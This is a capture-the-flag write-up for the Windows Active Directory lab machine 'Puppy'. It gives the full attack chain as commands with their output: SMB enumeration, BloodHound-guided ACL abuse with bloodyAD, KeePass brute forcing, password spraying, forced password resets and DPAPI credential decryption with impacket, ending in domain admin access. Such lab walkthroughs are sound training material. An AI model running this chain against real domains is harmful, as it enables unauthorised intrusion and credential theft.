Machine Card showing Puppy as a medium Windows machine

Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 15:24:45Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
62126/tcp open  msrpc         Microsoft Windows RPC
64757/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-18T15:26:32
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Apparently I’m dealing with the Domain Controller DC for the puppy.htb domain. Therefore I add the domain, hostname and FQDN to my /etc/hosts file.

Initial Access

Info

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

In order to check if the credentials I was provided with are valid, I’ll run nxc to list the shares on the domain controller. This confirms the validity and shows the non-default share DEV where I don’t have access to.

$ nxc smb dc.puppy.htb -u levi.james \
                       -p 'KingofAkron2025!' \
                       --shares
SMB         10.129.165.248  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.129.165.248  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.129.165.248  445    DC               [*] Enumerated shares
SMB         10.129.165.248  445    DC               Share           Permissions     Remark
SMB         10.129.165.248  445    DC               -----           -----------     ------
SMB         10.129.165.248  445    DC               ADMIN$                          Remote Admin
SMB         10.129.165.248  445    DC               C$                              Default share
SMB         10.129.165.248  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.165.248  445    DC               IPC$            READ            Remote IPC
SMB         10.129.165.248  445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.165.248  445    DC               SYSVOL          READ            Logon server share

Privilege Escalation

Shell as adam.silver

Next I’ll run bloodhound-ce-python to collect the data for BloodHound and get an overview over the puppy.htb domain.

$ bloodhound-ce-python -d puppy.htb \
                       -dc dc.puppy.htb \
                       -u levi.james \
                       -p 'KingofAkron2025!' \
                       -c ALL \
                       --zip \
                       -ns 10.129.165.248
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 04S
INFO: Compressing output into 20250518102926_bloodhound.zip

The user levi.james has GenericWrite over the DEVELOPERS group due to the membership in HR. This means I can add the account to that group. Based on the name this might give me access to the DEV share.

BloodHound showing the connection between levi.james and the DEVELOPERS group

I use bloodyAD to add levi.james to the DEVELOPERS group and rerun the SMB share enumeration. This time the DEV share is marked with READ.

$ bloodyAD --host dc.puppy.htb \
           -d puppy.htb \
           -u levi.james \
           -p 'KingofAkron2025!' \
           add groupMember DEVELOPERS levi.james
[+] levi.james added to DEVELOPERS
 
$ nxc smb dc.puppy.htb -u levi.james \
                       -p 'KingofAkron2025!' \
                       --shares
SMB         10.129.165.248  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.165.248  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.165.248  445    DC               [*] Enumerated shares
SMB         10.129.165.248  445    DC               Share           Permissions     Remark
SMB         10.129.165.248  445    DC               -----           -----------     ------
SMB         10.129.165.248  445    DC               ADMIN$                          Remote Admin
SMB         10.129.165.248  445    DC               C$                              Default share
SMB         10.129.165.248  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.165.248  445    DC               IPC$            READ            Remote IPC
SMB         10.129.165.248  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.165.248  445    DC               SYSVOL          READ            Logon server share

Accessing the share with smbclient reveals two files related to KeepassXC and an empty folder. I download the kdbx password database to my host.

$ impacket-smbclient 'puppy.htb/levi.james:KingofAkron2025!'@dc.puppy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
Type help for list of commands
# use DEV
 
# ls
drw-rw-rw-          0  Sun Mar 23 08:07:57 2025 .
drw-rw-rw-          0  Sat Mar  8 17:52:57 2025 ..
-rw-rw-rw-   34394112  Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw-          0  Sun Mar  9 21:16:16 2025 Projects
-rw-rw-rw-       2677  Wed Mar 12 03:25:46 2025 recovery.kdbx
 
# get recovery.kdbx

Obviously the database is secured with a password, but keepass2john is not able to extract the hash due to the version. Looking for an alternative finds keepass2brute that’s basically a wrapper around keepassxc-cli to check passwords from a wordlist.

# Install dependency
$ sudo apt install keepassxc
 
$ git clone https://github.com/r3nt0n/keepass4brute && cd keepass4brute
 
$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
 
[+] Words tested: 36/14344392 - Attempts per minute: 33 - Estimated time remaining: 43 weeks, 0 days
[+] Current attempt: liverpool
 
[*] Password found: liverpool

Running the script takes a bit of time but eventually finds liverpool as password. This allows me to unlock the database and check out its content. There are 5 users and their passwords listed, but checking the very first one for adam.silver fails.

|KeepassXC showing 5 entries for users on puppy.htb

I then add the 5 passwords and the one for levi.james to a file and dump all users with nxc. Next I’ll check all combinations to see if any of the credentials are valid.

$ cat passwords.txt
HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!
KingofAkron2025!
 
$ nxc smb dc.puppy.htb -u levi.james \
                       -p 'KingofAkron2025!' \
                       --users-export users.txt
SMB         10.129.165.248  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.165.248  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.165.248  445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.129.165.248  445    DC               Administrator                 2025-02-19 19:33:28 0       Built-in account for administering the computer/domain
SMB         10.129.165.248  445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.129.165.248  445    DC               krbtgt                        2025-02-19 11:46:15 0       Key Distribution Center Service Account
SMB         10.129.165.248  445    DC               levi.james                    2025-02-19 12:10:56 0
SMB         10.129.165.248  445    DC               ant.edwards                   2025-02-19 12:13:14 0
SMB         10.129.165.248  445    DC               adam.silver                   2025-05-18 16:04:29 0
SMB         10.129.165.248  445    DC               jamie.williams                2025-02-19 12:17:26 0
SMB         10.129.165.248  445    DC               steph.cooper                  2025-02-19 12:21:00 0
SMB         10.129.165.248  445    DC               steph.cooper_adm              2025-03-08 15:50:40 0
SMB         10.129.165.248  445    DC               [*] Enumerated 9 local users: PUPPY
SMB         10.129.165.248  445    DC               [*] Writing 9 local users to users.txt
 
 
$ nxc smb dc.puppy.htb -u users.txt \
                       -p passwords.txt \
                       --continue-on-success \
                       | grep '[+]'
SMB                      10.129.165.248  445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 
SMB                      10.129.165.248  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

The credentials for levi.james obviously generate a hit, but also ant.edwards:Antman2025! seem to be valid credentials. Going back to BloodHound there’s an edge between ant.edwards and adam.silver. Members of the SENIOR DEVS group have a GenericAll over adam.silver and can therefore modify the account.

The account adam.silver is part of the REMOTE MANAGEMENT USERS group and should be able to use WinRM to log into the target. BloodHound shows that the account is disabled though.

BloodHound showing the GenericAll over adam.silver and that the account is disabled

I decide to change the password for the account and then I also enable the account in order to use it. Both of those steps can be accomplished with bloodyAD. Then I can use evil-winrm to log in and collect the first flag.

$ bloodyAD --host dc.puppy.htb \
           -d puppy.htb \
           -u ant.edwards \
           -p 'Antman2025!' \
           set password "adam.silver" 'Helloworld123!'
[+] Password changed successfully!
 
$ bloodyAD --host dc.puppy.htb \
           -d puppy.htb \
           -u ant.edwards \
           -p 'Antman2025!' \
           remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

Shell as steph.cooper

In the root directory of the C drive there’s a folder called Backups. Peeking inside there’s a ZIP archive and I decide to download it to my host with the built-in download feature of evil-winrm.

After unzipping the file there’s an index.html, two folders and nms-auth-config.xml.bak. The XML file contains the credentials steph.cooper:ChefSteph2025! to be used to connect the application to LDAP. BloodHound reports the user to be in the REMOTE MANAGEMENT USERS group as well and I’ll get a new session in that users context.

nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Shell as steph.cooper_adm

Checking for stored DPAPI credentials I find C8D69EBE9A43E9DEBF6B5FBD48B521B9 and download that file to my host.

PS > cd $env:appdata\microsoft\credentials
 
PS > ls -force
 
    Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Then I use dpapi from impacket to find the corresponding masterkey. The decryption fails but it prints 556A2412-1275-4CCF-B721-E6A0B4F90407 as the GUID to look for.

$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
[BLOB]
Version          :        1 (1)
Guid Credential  : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion :        1 (1)
Guid MasterKey   : 556A2412-1275-4CCF-B721-E6A0B4F90407
Flags            : 20000000 (CRYPTPROTECT_SYSTEM)
Description      : Enterprise Credential Data
 
CryptAlgo        : 00006603 (26115) (CALG_3DES)
Salt             : b'711bed180e9affbd35ae0e91ff77b395'
HMacKey          : b''
HashAlgo         : 00008004 (32772) (CALG_SHA)
HMac             : b'0ad0ff7a33f05732d938c7562521cd70'
Data             : b'315eb3036256373fb93c03158b0669b2281ac05551a17e77d5ae4ccb42ed8004d7aed11eb66c4149d0275f70138d963f098369ad7155d75ae60f4a2543b1efec3ae75049fdd91a66210b3db503c73a24218b8d6b92efc7d09f22d6e5154b2f3669dbeea011c494d44b3115d1c2a7d713d5f1c81e5d1c5db22f1ad7d475e21cc4fabf9cde4f63c4d1dd3f22eebc358797c4ce5097ec817322ed1abf218f9eb20336006eb48907597fb18ebcd6297184886acc91b82246f7ddc05c5bfd7ac44fd3a9f281b12e423a32bf1098565b8d2e35'
Sign             : b'3ab1905cf0eef6d04985f52dfb4989a7f6c1a49c'
 
Cannot decrypt (specify -key or -sid whenever applicable)

Masterkeys for the account are stored in AppData\Roaming\Microsoft\Protect\<SID> and there’s just one single file with the GUID I am looking for. I also download this file to my machine.

PS > cd $env:appdata\microsoft\protect
PS > ls -force
 
 
    Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\protect
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         2/23/2025   2:36 PM                S-1-5-21-1487982659-1829050783-2281216199-1107
-a-hs-          3/8/2025   7:40 AM             24 CREDHIST
-a-hs-          3/8/2025   7:40 AM             76 SYNCHIST
 
 
PS > cd S-1-5-21-1487982659-1829050783-2281216199-1107
PS > ls -force
 
 
    Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407

While providing the SID and password of the account steph.cooper I can decrypt the masterkey into a long hex string. Then I provide this as additional input for the previously used command to decrypt the actual credential file.

$ impacket-dpapi masterkey -sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
                           -password 'ChefSteph2025!' \
                           -file 556a2412-1275-4ccf-b721-e6a0b4f90407
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
 
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
 
$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 \
                            -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

The decrypted credentials steph.cooper_adm:FivethChipOnItsWay2025! belong to an account in the ADMINISTRATORS group and I can use them to collect the final flag.

Attack Path

flowchart TD

subgraph "Privilege Escalation"
	A(james.levi) -->|GenericWrite| B(Member of DEVELOPERS)
	B -->|Access to DEV share| C(Keepass Database)
	C -->|Brute Force| D(Credentials for Users)
	D --> E(Access as ant.edwards)
	E -->|GenericAll| F(Shell as adam.silver)
	F -->|Access to /Backups| G(Configuration Files)
	G --> H(Shell as steph.cooper)
	H -->|DPAPI Credentials| I(Shell as steph.cooper_adm)
end